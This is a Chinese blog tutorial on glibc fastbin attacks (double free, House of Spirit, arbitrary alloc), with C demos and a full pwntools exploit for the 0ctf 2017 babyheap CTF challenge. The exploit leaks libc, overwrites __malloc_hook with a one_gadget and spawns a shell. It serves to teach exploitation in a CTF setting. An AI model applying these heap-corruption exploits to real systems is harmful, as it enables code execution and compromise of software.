【堆漏洞 - Fastbin attack】

Fastbin Attack

漏洞发生于fastbin的chunk,且存在堆溢出、use-after-free 等能控制 chunk 内容的漏洞

分类:

  • Fastbin Double Free
  • House of Spirit
  • Alloc to Stack
  • Arbitrary Alloc

原理

fastbin 是单链表,fastbin chunk被释放时next_chunk 的 prev_inuse 位不会被清空。

Fastbin Double Free

同一个 fastbin chunk 可以被多次释放,使得 fastbin 链表中会存在多个指向同一个fastbin chunk的指针,多次分配就可能会取出同一个堆块。

在 fastbin 中利用成功的原因:

  1. next_chunk 的 pre_inuse 位不会被清空
  2. free 的时候仅验证了 main_arena 直接指向的块,即链表指针头部的块。对于链表后面的块,并没有进行验证。

示例

int main(void)
{
    void *chunk1,*chunk2,*chunk3;
    chunk1=malloc(0x10);
    chunk2=malloc(0x10);

    free(chunk1);
    free(chunk2);
    free(chunk1);
    return 0;
}

注意这里不能连续free相同chunk,否则因利用原因第2条会报错

第一次释放free(chunk1)
在这里插入图片描述

第二次释放free(chunk2)
在这里插入图片描述

第三次释放free(chunk1)
在这里插入图片描述再次free chunk1的时候chunk1的fd变为chunk2,那么所有chunk1的fd都会指向chunk2。此时因为chunk1的fd不再为0,我们如果可以修改掉chunk1的fd,就可以使任意地址的空间成为fastbin的chunk

以下示例将fastbin的chunk分配到bss段和栈上(fastbin dup into stack)

#include <stdio.h>
#include <stdlib.h>

typedef struct _chunk
{
    long long pre_size;
    long long size;
    long long fd;
    long long bk;
} CHUNK,*PCHUNK;

CHUNK bss_chunk;

int main(void)
{
    void *chunk1,*chunk2,*chunk3;
    void *chunk_a,*chunk_b;

    bss_chunk.size=0x21;
    chunk1=malloc(0x10);
    chunk2=malloc(0x10);

    free(chunk1);
    free(chunk2);
    free(chunk1);
    
	//BSS
    chunk_a=malloc(0x10);  //分配掉第1个chunk1
    *(long long *)chunk_a=&bss_chunk;
	
	//STACK
	/*unsigned long long stack_var = 0x21;
	unsigned long long *d = malloc(0x10);
	*(long long *)d= (unsigned long long) (((char*)&stack_var) - sizeof(d));
	*/
    malloc(0x10);  //分配掉chunk2  
    malloc(0x10);  //分配掉第2个chunk1
    chunk_b=malloc(0x10); 
    strcpy(chunk_b,"AAAAAAAA"); 
    printf("%p\n",chunk_b);
    return 0;
}

提前设置好size域以便fastbin检验堆大小。stack地址减了0x8使fd指向fake chunk

编译使用:
gcc -no-pie test.c -o test   //-no-pie 可以更好用readelf观察bss段地址
gcc -g test.c //stack

更换libc.so为2.23版本
patchelf --replace-needed libc.so.6 你要换的libc的硬路径 ./pwn
patchelf --set-interpreter ld的硬路径 ./pwn
//libc较低版本才不会报double free 的错误
#查看bss地址
readelf -S test  --> 0x404040
最终输出地址 --> 0x404070

#stack
printf出现Segment core错误,但gdb调试可以看到栈上的fake chunk是成功写入‘AAAAAAAA’

补充:

在libc-2.26中连续free并不会触发double free异常,这与tcache机制有关。

fastbin dup consolidate

有一种方法可以绕过double-free的异常检测,原理就是在分配large chunk的时候,会将fastbin中的chunk合并放入unsorted bin,再分别放入相应的bin中。这里fasbin会被清空,那么再free同一个指针时就一定不会检测出错误了。

示例
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
int main() {
    void *p1 = malloc(0x10);
    void *p2 = malloc(0x10);
    strcpy(p1, "AAAAAAAA");
    strcpy(p2, "BBBBBBBB");
    fprintf(stderr, "Allocated two fastbins: p1=%p p2=%p\n", p1, p2);
    fprintf(stderr, "Now free p1!\n");
    free(p1);
    void *p3 = malloc(0x400);
    fprintf(stderr, "Allocated large bin to trigger malloc_consolidate(): p3=%p\n", p3);
    fprintf(stderr, "In malloc_consolidate(), p1 is moved to the unsorted bin.\n");
    free(p1);
    fprintf(stderr, "Trigger the double free vulnerability!\n");
    fprintf(stderr, "We can pass the check in malloc() since p1 is not fast top.\n");
    void *p4 = malloc(0x10);
    strcpy(p4, "CCCCCCC");
    void *p5 = malloc(0x10);
    strcpy(p5, "DDDDDDDD");
    fprintf(stderr, "Now p1 is in unsorted bin and fast bin. So we'will get it twice: %p %p\n", p4, p5);
}

只是这里的两个相同chunk是一个放在fastbin中,一个放在了small bin中

House Of Spirit

通过在想要控制的可读写的一块fastbin 大小的区域上创建一个 fake chunk,然后 free 掉该 chunk 的mem指针,该 fake chunk 就会被放入fastbin中,再分配malloc一个fake chunk大小的堆时就会把堆分配到fake chunk区域,从而就可以控制该区域的内容。

示例

#include <stdio.h>
#include <stdlib.h>
int main() {
    malloc(1);
    fprintf(stderr, "We will overwrite a pointer to point to a fake 'fastbin' region. This region contains two chunks.\n");
    unsigned long long *a, *b;
    unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));
    fprintf(stderr, "The first one:  %p\n", &fake_chunks[0]);
    fprintf(stderr, "The second one: %p\n", &fake_chunks[4]);
    fake_chunks[1] = 0x20;      // the size
    fake_chunks[5] = 0x1234;    // nextsize
    fake_chunks[2] = 0x4141414141414141LL;
    fake_chunks[6] = 0x4141414141414141LL;
    fprintf(stderr, "Overwritting our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[0]);
    a = &fake_chunks[2];
    fprintf(stderr, "Freeing the overwritten pointer.\n");
    free(a);
    fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[0], &fake_chunks[2]);
    b = malloc(0x10);
    fprintf(stderr, "malloc(0x10): %p\n", b);
    b[0] = 0x4242424242424242LL;
}

在这里插入图片描述

伪造fake chunk绕过一些检测的条件:

  • IS_MMAPPED 和 NON_MAIN_ARENA 要为0
  • next chunk大小在2*SIZE_SZ(0x10)和 system_mem(0x21000)之间

运行结果
在这里插入图片描述

Arbitrary Alloc

想要控制的地址附近存在字节错位,且有合法的size域,将程序中现有的这个合法的size(或伪造的)作为我们的size,然后覆盖fd为“size位置-0x8”,malloc最终会分配堆到这个地方,之后便填充这个堆来修改我们的目标地址即可。

示例

这里假设目标函数是__malloc_hook,对应目标地址为0x7ffff7dd1b00

int main(void)
{
    void *chunk1;
    void *chunk_a;

    chunk1=malloc(0x60);

    free(chunk1);

    *(long long *)chunk1=0x7ffff7dd1af5-0x8;
    malloc(0x60);
    chunk_a=malloc(0x60);
    strcpy(chunk_a,"AAAAAAAA");
    return 0;
}

在目标地址前面找一个合法size,0x7f刚好在0x20~0x80之间,0x7f位置在0x7ffff7dd1af5处
这里字节错位就是要满足打印0x7ffff7dd1af5地址下的内容得到0x0000000000007f

在这里插入图片描述AAAAAAAA成功覆盖到栈上

实例 - 2017 0ctf babyheap

函数分析

  1. init_my:使用mmap初始化了一片内存,用于存放之后堆块的一些信息。
    这片内存主要存放一个0x18大小结构体信息:
struct chunk{
	int inuse;
	int size;
	char* ptr;  //存放堆指针
}
  1. allocate:如果堆块是使用状态,calloc分配堆块并将堆块信息写、存入结构体。calloc与malloc不同的是将堆内存都初始化了为0。
  2. fill:接受索引获取相应堆块,输入size后输入size大小的content堆内容。这里的size再次自行输入,与分配时的size没有关系,存在堆溢出漏洞
  3. free_chunk:接收索引,释放堆指针,没有问题。
  4. dump:接收索引打印出相应堆块的content,可以用来泄露

利用思路

查看程序保护

在这里插入图片描述

  • PIE:需要泄露libc地址,dump打印chunk内容,那么需要让chunk中存在libc的地址。首先chunk中的最常见地址指针就是fd和bk,如果free small chunk是在unsorted bin的话就有libc地址
  • Full RELRO:无法直接覆盖修改 got 地址下的内容,这时候一般就可以劫持hook函数,例如 malloc hook等。

利用分析

  1. 开辟5个chunk,4个fastbin大小,1个small bin大小
	allocate(0x10)  # idx 0, 0x00
    allocate(0x10)  # idx 1, 0x20
    allocate(0x10)  # idx 2, 0x40
    allocate(0x10)  # idx 3, 0x60
    allocate(0x80)  # idx 4, 0x80

在这里插入图片描述2. 释放chunk2和chunk1

    free(2)
    free(1)

fastbin中有 fastbin[0]->idx1->idx2->NULL 情况
chunk1的fd指向chunk2
在这里插入图片描述3. fill chunk0 堆溢出修改chunk1的fd的底1个字节为0x80,使fd指向chunk4。然后fill chunk3修改chunk4大小以过fastbin的size check。

注意,heap初始化使用brk()系统调用,且页(4KB)是内存分配的最小单位,所以vmmap得到的起始地址第三位是0x000,以便于我们知道chunk4地址只需修改fd底1字节即可,否则,这里难以使fd指向chunk4
在这里插入图片描述

    # edit idx 0 chunk to particial overwrite idx1's fd to point to idx4
    payload = 0x10 * 'a' + p64(0) + p64(0x21) + p8(0x80)
    fill(0, len(payload), payload)
    # if we want to allocate at idx4, we must set it's size as 0x21
    payload = 0x10 * 'a' + p64(0) + p64(0x21)
    fill(3, len(payload), payload)

fastbin变为 fastbin[0]->idx1->idx4->NULL
在这里插入图片描述4. 申请两个fastbin chunk,这两个chunk的指针分别放在了idx1 和 idx2 的位置,即idx4位置的内容被放入了idx2的位置,此时,idx2和idx4中的chunk指针都是chunk4的堆指针

    allocate(0x10)  # idx 1
    allocate(0x10)  # idx 2, which point to idx4's location
  1. 将chunk4大小修改回0x91,以过small bin的size check。同时先calloc一个small chunk,再free(4),防止与top chunk合并。
    free chunk4之后,chunk4 被放入unsorted bin,其fd和bk指向unsorted bin的其实地址(在libc中),通过dump(2)其实也就dump出了chunk4的内容,从而泄露libc地址
    # if want to free idx4 to unsorted bin, we must fix its size
    payload = 0x10 * 'a' + p64(0) + p64(0x91)
    fill(3, len(payload), payload)
    # allocate a chunk in order when free idx4, idx 4 not consolidate with top chunk
    allocate(0x80)  # idx 5
    free(4)
    # as idx 2 point to idx4, just show this
    dump(2)
  1. 这里libc_base的计算也和一般的不一样,我们泄露出的是unsortedbin_addr,而要求的是libc_base,具体看以下代码
def offset_bin_main_arena(idx):
    word_bytes = context.word_size / 8
    offset = 4  # lock
    offset += 4  # flags
    offset += word_bytes * 10  # offset fastbin
    offset += word_bytes * 2  # top,last_remainder
    offset += idx * 2 * word_bytes  # idx
    offset -= word_bytes * 2  # bin overlap
    return offset


offset_unsortedbin_main_arena = offset_bin_main_arena(0)

	p.recvuntil('Content: \n')
    unsortedbin_addr = u64(p.recv(8))
    main_arena = unsortedbin_addr  - offset_unsortedbin_main_arena
    log.success('main arena addr: ' + hex(main_arena))
    main_arena_offset = 0x3c4b20
    libc_base = main_arena - main_arena_offset
    log.success('libc base addr: ' + hex(libc_base))

简晰思路如下图
先根据unsortedbin_addr求得main_arena,在根据main_arena求得libc_base
在这里插入图片描述7. 申请一个0x60的chunk,再free掉,用于后续匹配malloc hook的fake chunk的大小0x7f-0x10),连系到字节错位

  1. 通过fill chunk2 将chunk4的fd修改为fake chunk地址。malloc hook地址在 main_arena 附近,所以通过main _arena得fake chunk地址即可
	# edit idx4's fd point to fake chunk
    fake_chunk_addr = main_arena - 0x33
    fake_chunk = p64(fake_chunk_addr)
    fill(2, len(fake_chunk), fake_chunk)

此时 fastbin为 fastbin[0]->idx4->&fake chunk->NULL
在这里插入图片描述
9. calloc 两个 0x60 大小的chunk,idx6 就是指向fake chunk的地址

    allocate(0x60)  # idx 4
    allocate(0x60)  # idx 6
  1. 向idx6中写入字节错位相应的padding,在malloc hook下写入one_gadget,再次calloc触发malloc hook即可拿到shell
    one_gadget_addr = libc_base + 0x4526a
    payload = 0x13 * 'a' + p64(one_gadget_addr)
    fill(6, len(payload), payload)
    # trigger malloc_hook
    allocate(0x100)

在这里插入图片描述

完整EXP

from pwn import *

context.binary = "./babyheap"
babyheap = context.binary

p = process("./babyheap")

def offset_bin_main_arena(idx):
    word_bytes = context.word_size / 8
    offset = 4  # lock
    offset += 4  # flags
    offset += word_bytes * 10  # offset fastbin
    offset += word_bytes * 2  # top,last_remainder
    offset += idx * 2 * word_bytes  # idx
    offset -= word_bytes * 2  # bin overlap
    return offset


offset_unsortedbin_main_arena = offset_bin_main_arena(0)


def allocate(size):
    p.recvuntil('Command: ')
    p.sendline('1')
    p.recvuntil('Size: ')
    p.sendline(str(size))


def fill(idx, size, content):
    p.recvuntil('Command: ')
    p.sendline('2')
    p.recvuntil('Index: ')
    p.sendline(str(idx))
    p.recvuntil('Size: ')
    p.sendline(str(size))
    p.recvuntil('Content: ')
    p.send(content)


def free(idx):
    p.recvuntil('Command: ')
    p.sendline('3')
    p.recvuntil('Index: ')
    p.sendline(str(idx))


def dump(idx):
    p.recvuntil('Command: ')
    p.sendline('4')
    p.recvuntil('Index: ')
    p.sendline(str(idx))


def exp():
    # 1. leak libc base
    gdb.attach(p)
    allocate(0x10)  # idx 0, 0x00
    allocate(0x10)  # idx 1, 0x20
    allocate(0x10)  # idx 2, 0x40
    allocate(0x10)  # idx 3, 0x60
    allocate(0x80)  # idx 4, 0x80
    # free idx 1, 2, fastbin[0]->idx1->idx2->NULL
    free(2)
    free(1)
    # edit idx 0 chunk to particial overwrite idx1's fd to point to idx4
    payload = 0x10 * 'a' + p64(0) + p64(0x21) + p8(0x80)
    fill(0, len(payload), payload)
    # if we want to allocate at idx4, we must set it's size as 0x21
    payload = 0x10 * 'a' + p64(0) + p64(0x21)
    fill(3, len(payload), payload)
    allocate(0x10)  # idx 1
    allocate(0x10)  # idx 2, which point to idx4's location
    # if want to free idx4 to unsorted bin, we must fix its size
    payload = 0x10 * 'a' + p64(0) + p64(0x91)
    fill(3, len(payload), payload)
    # allocate a chunk in order when free idx4, idx 4 not consolidate with top chunk
    allocate(0x80)  # idx 5
    free(4)
    # as idx 2 point to idx4, just show this
    dump(2)
    p.recvuntil('Content: \n')
    unsortedbin_addr = u64(p.recv(8))
    main_arena = unsortedbin_addr - offset_unsortedbin_main_arena
    log.success('main arena addr: ' + hex(main_arena))
    main_arena_offset = 0x3c4b20
    libc_base = main_arena - main_arena_offset
    log.success('libc base addr: ' + hex(libc_base))

    # 2. malloc to malloc_hook nearby
    # allocate a 0x70 size chunk same with malloc hook nearby chunk, idx4
    allocate(0x60)
    free(4)
    # edit idx4's fd point to fake chunk
    fake_chunk_addr = main_arena - 0x33
    fake_chunk = p64(fake_chunk_addr)
    fill(2, len(fake_chunk), fake_chunk)

    allocate(0x60)  # idx 4
    allocate(0x60)  # idx 6

    one_gadget_addr = libc_base + 0x4526a
    payload = 0x13 * 'a' + p64(one_gadget_addr)
    fill(6, len(payload), payload)
    # trigger malloc_hook
    allocate(0x100)
    p.interactive()

exp()

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值